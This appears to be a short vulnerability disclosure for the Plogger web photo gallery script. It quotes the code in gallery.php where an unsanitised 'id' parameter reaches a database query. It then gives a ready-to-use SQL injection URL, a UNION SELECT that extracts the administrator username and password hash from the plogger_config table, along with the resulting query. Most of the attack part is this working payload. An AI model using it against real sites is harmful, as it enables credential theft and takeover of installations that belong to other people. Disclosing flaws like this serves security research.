  explaination:

  software site: http://www.plogger.org/
  description: "Plogger: The definitive open-source web photo gallery
- Plogger
  is a free online photo gallery generation script with automatic
thumbnail
  creation, easy installation, and RSS feeds."

  vulnerable code in gallery.php near lines 37-38:

  ...
  if ($_GET["level"] == "slideshow")
	$inHead .= generate_slideshow_js($_GET["id"],
"album");
  ...

  "id" GET argument is not properly sanitized before to be
passed to
   generate_slideshow_js() func, so, if magic_quotes_gpc = Off, sql
injection,
   poc :

  http://[target]/[path]/index.php?level=slideshow&mode=album&id='UNION
SELECT
 
CONCAT('*USERNAME*:',admin_username,'***'),2,3,CONCAT('*HASH*:',admin_password
  ,'***'),5,6,7,8,9,10,11,12,13,14 FROM plogger_config/*

  query becomes:

  SELECT * FROM plogger_pictures WHERE parent_album = ''UNION SELECT
 
CONCAT('*USERNAME*',admin_username,'***'),2,3,CONCAT('*HASH*',admin_password,
  '***'),5,6,7,8,9,10,11,12,13,14 FROM plogger_config/*' ORDER BY
  `date_submitted`

  now, at screen, you have admin credentials
